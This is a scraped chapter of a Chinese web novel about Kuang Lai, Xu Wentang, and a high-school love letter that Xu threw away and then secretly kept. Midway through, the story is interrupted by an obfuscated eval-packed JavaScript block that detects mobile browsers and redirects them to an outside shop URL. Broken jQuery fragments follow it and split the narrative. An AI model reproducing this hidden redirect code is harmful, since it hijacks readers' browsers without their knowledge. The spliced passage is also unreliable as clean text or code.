默认冷灰
24号文字
方正启体

10. 「黄昏与酸梅树」“

作者:文笃本书字数:K更新时间:
    久远的记忆袭击了况莱的大脑,像一颗吹起来又瘪掉的泡泡糖。


    “啪嗒”一声。


    仿佛专属于她少女时代的号角,快速膨胀,又快速消退。


    事情发生在高中那年,况莱意外得知,自己那位性格内敛的文静同桌,竟然偷偷暗恋某位学姐。


    起因是在同桌因为生病休学留级,又在八百米摔倒后。


    这位学姐在一众中学小破男孩的嘲笑声中,背着同桌去了医务室,后来还给同桌很温柔地包扎好了膝盖上的伤口——也就是丁细铃。


    但那会丁细铃已经毕业,即将去省外念大学。


    而青春期的况莱冒冒失失,对别人的事比对自己的事还上心。


    她自告奋勇,要趁这位学姐还没有离开酸梅岭的时候,替同桌准确传达出那份心意。


    于是在某个像橘子汁被挤出来的黄昏,况莱帮同桌把情书很准确地送到了丁细铃手中,也完全没看丁细铃的反应。


    完全沉迷在“自己做了好事今天好酷”的得意中,吹了下刘海,丢下一句——“学姐你一定要亲自打开看”,就骑着单车跑掉了。


    没过多久。


    同样一个黄昏,比橘子汁稍微深一点,也就是在况莱与丁细铃分别不到一个小时之后,即将去省外念大学的许温棠突然出现在她家门口,敲她的头,对她说,


    “况莱,不准早恋。”


    “啪嗒”——


    夏天的柏油路气味难闻,情书被毫不留情扔进垃圾桶。


    同桌不善言辞,只在况莱主动提出帮她写还帮她送时才勉强点头。


    所以,这是况莱自己趴在桌子上字斟句酌,仔细回忆同桌向她诉说的细节,花了好几个夜晚才写出来、又送出去的情书。


    夕阳像金色河流流淌,横在她们中间。况莱难以置信情书就这样被扔进垃圾桶。


    “许温棠你有病吧!”她下意识弯腰去翻垃圾桶。


    “就算要写,也得等你高考以后。”许温棠理智又冷静,仿佛这才是最正确的处理方式。


    恰好况莱敏感又叛逆,最讨厌许温棠总是用这种大人的口吻和她说话。


    “高考以后?你不觉得你特别双标吗许温棠?”


    夏日聒噪,飞虫乱飞,她仰头看向居高临下的许温棠,简直怒不可遏,“意思是说你现在随便做什么都可以,而我就连写封情书都不可以了?”


    “对。”


    许温棠几乎不假思索。


    就好像,明明只差两岁七个月零六天,但在况莱尚且还被划分在“不准早恋”的范畴里的时候,许温棠自己却很快就要属于另外一个范畴——


    她马上就会过掉十八岁生日,成为一个真正的大人,去离况莱很远的地方 ,或许可以谈一场精彩的、不会被管教的校园恋爱。


    甚至会回来的越来越少,也会在某一年带一个况莱完全不认识的人回来,和所有大人名正言顺地介绍:这是她的恋人。


    就像酸梅岭所有去外面读大学就会把这里忘掉的人一样。许温棠很快也要飞走了。


    “你又有什么资格管我?”这是况莱当时对许温棠说的话。


    “许温棠,你真讨厌。”


    之后她气得关门跑掉,也非常不成熟地忘记,这本来是同桌和丁细铃之间的事,过了五六分钟,才又匆匆忙忙跑出来,去垃圾桶里拼命翻那封被许温棠扔掉的情书。


    从黄昏翻到天黑,也没有从垃圾桶里翻到情书的踪影。


    那天,她像只被从池塘里捞出来的水鬼一样,垂头丧气蹲坐在垃圾桶边,看到上高中后她妈好不容易才答应给她买的手机上,有同桌打来的几通未接来电。


    这才失魂落魄意识到自己又搞砸一件事。大概就像她妈一直数落的那样,她就是一个不懂事的、容易生气的、长不大的况莱。


    但她想要补救。所以当晚,况莱骑上自己的单车,满头大汗骑到同桌家,眼泪汪汪地跟同桌道歉,说自己不小心搞砸了她的事情。


    同桌用漂亮干净的手帕纸帮她擦汗,摇摇头,对她说,“况莱,谢谢你。”


    “谢谢你以我的名义帮我写情书,也谢谢你愿意帮我送出去。但其实我刚刚打那么多电话给你,就是希望你不要把那封情书送出去。”


    “也幸好……幸好来得及。”同桌很紧张地呼出一口气,“幸好你没有送出去。”


    “为什么?”况莱红着眼睛问,“你是不是……为了是不是安慰我才这么说啊?”


    同桌笑起来,“不是。”


    她的嘴角有个小小的梨涡,“因为我想了很久,还是觉得自己不想告诉她。”


    “为什么喜欢一个人会不想告诉她呢?”况莱觉得这个问题对自己很难。


    同桌的表现比她成熟很多,“等你以后遇见你喜欢的人,大概就会知道这种心情的。”


    “什么心情?”


    “喜欢她,却在全世界唯一不想让她知道的心情。”


    “好奇怪的心情。”


    “嗯,好奇怪的心情。”


    那天晚上,况莱问同桌是不是因为她搞砸了所以才后悔送情书。


    同桌也耐心说明,那也不是她自己写的情书,她不想连这份心意都让别人代替。她希望就算况莱之后找到情书,也不要送出去,而是直接帮忙销毁。


    况莱不死心,当晚骑单车追到垃圾站,灰头土脸地翻了很久。最后确认真的完全找不到那封情书的踪影,才魂不守舍回家。


    后来,因为同桌确定真的不想表明心意,情书也没能找到。这件事就彻底不了了之。


    如今这么久过去,连况莱自己都快要想不起来这件事了。


    因为在她幼稚且莽撞的少女时代,只是所有与许温棠有关的、让她愤怒的、不满的、烦闷的事情里……其中很不起眼的一件。


    也几乎要忘记那封情书的主人公是谁。她没想到丁细铃竟然还会有印象。


    “我想起来了。”


    丁细铃转脸,看向在洗碗池的许温棠,“那个时候是不是还是你替我处理的来着?”


    洗碗池的水声早已停下。


    “有吗?”


    许温棠背对着她们,慢慢取下橡胶手套,心不在焉地说,“我没什么印象了。”


    没印象?况莱抿抿唇。


    虽然许温棠对这件事没印象很正常,但……但况莱就是不太喜欢,只有自己一个人记得的感觉。毕竟那天的许温棠真的很讨厌。


    地位仅次于那件扎脖子的红高领毛衣,况莱小时候过年都要被她妈逼着穿,说穿着精神。


    “怎么没印象?”丁细铃大大咧咧追问,“我记得你还说——”


    “况莱。”许温棠突然打断丁细铃的话。


    她转过身。


    把洗干净的保温桶提起来,在灯光下看着况莱微笑,“保温桶洗好了。”


    “哦。”况莱低头,接过被许温棠又擦干净的保温桶,“那我走了。”


    “就走了?”丁细铃有些意外,“话还没说几句呢?”


    “嗯,我今天刚回来,还得回去收拾行李呢。”况莱说。


    “行,那小况莱拜拜~”丁细铃笑眯眯地挥挥手。


    况莱也抿抿唇,说,“拜拜。”


    没有再喊铃姐姐。


    看了眼许温棠。


    没有和她说“拜拜”。


    况莱拎着保温桶慢慢吞吞走了出去。


    好像之前还恨不得马上跑掉,但自从某个人出现之后,就忽然舍不得离开这里一样。


    许温棠看她的背影,等她的影子都缩小,彻底看不见了,才收回目光。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387969|200285||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看了看在客厅沙发上瘫着的丁细铃。


    许温棠垂下眼,把之前分出来的话梅小排和蒸花蟹放进冰箱,又绕到门口,静静倚着门框。


    春夜风凉,对门那栋房子比她家地势低,要下个坡才能走到,这会,遥遥去看,也能看清门前还亮着明黄的灯。


    一分钟,两分钟……


    有个模模糊糊的人影下了坡,从她家大门晃进那张大门,踏进院子。


    “许温棠你夸张了哈,从你家到她家拢共也就这么点路。”


    丁细铃不知道什么时候跟了过来,“要真这么担心,你刚才怎么不送送她?”


    许温棠淡淡看丁细铃一眼,“她不会让我送的。”


    “这么点路你还真想送?”丁细铃大惊小怪,又说,


    “不过我们小况莱挺好说话的啊?哪有你说那么严重啊?”


    “我和你不一样。”


    “哪不一样?”


    她不会让我送她,也不会让我喊她小况莱。


    你可以做的很多事情,我都不可以做。


    因为我对她而言是令她讨厌的许温棠。我是爱管教她的、扔掉她少女时代第一封情书的、动不动就威胁她的、奇怪又无聊的许温棠。


    “丁细铃。”许温棠突然出声。


    “啊?”丁细铃侧脸看她。


    不过许温棠对此并无悔改之意,就算她们都已经长大,她也仍旧需要干涉况莱的一切,也无法忍受,对况莱而言,有另外一个人比她的存在感更强。


    因此她对丁细铃说,


    “这段时间你都先不要来我家找我。”


    -


    丁细铃没有待多久。


    离开之前,她对许温棠的行为表示明确的不理解。但还是选择接受。


    “说实话这个要求挺奇怪的。不过因为你是许温棠,那就成交吧。”


    之后许温棠独自关好门,上楼。


    回到二楼卧室。


    她站到窗边,望对门院子里那棵已经长得很高的酸梅树。


    很久。


    对门二楼的灯点亮。


    她收回目光,垂眼,盯那张木桌,也盯那张木桌上的划痕。


    几乎持续了一分钟。


    许温棠坐下来,把之前锁上的抽屉打开,铁皮盒还在里面。她拿出来,把铁皮盒的盖子打开,里面是一封信。


    那段时间很流行的信封,像酸梅树一样的绿色,缀着线条和星星,没有蝴蝶结,颜色很淡。很难让人联想到这是一封情书。


    但……


    在它变成丁细铃手里那封情书以前,许温棠就已经偶然间看到过它出现——在况莱房间书桌上,被很谨慎很珍惜地压在课本下面。


    后来,它变成情书。


    丁细铃很紧张地交给她。


    许温棠带着这封情书去找况莱,当着况莱的面扔进垃圾桶,对况莱说“不准早恋”。


    况莱很生气地对许温棠说,


    “你有什么资格管我?”


    “许温棠,你真讨厌。”


    况莱很愤怒地从许温棠身边跑掉。


    许温棠在大门外站了快到一分钟,翻垃圾桶,把情书找出来,回家,把边边角角粘到的灰尘和油渍都擦干净,找到一个装进口饼干的铁皮盒,放进去,盖起来。


    许温棠很冷静地扔掉况莱的情书,又把它捡回来。


    因为它毕竟是况莱少女时代的第一封情书。


    这或许很珍贵。


    像孩童时期每个人都会掉落的第一颗乳牙。可能很久以后会没人记得,但或许会是某种珍贵佐证。许温棠作为两家人眼中能管得住况莱的姐姐,自然也有责任替况莱处理和保管。


    只是后来,她也常后悔那天自己处理轻率。


    于是从来都没有打开。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)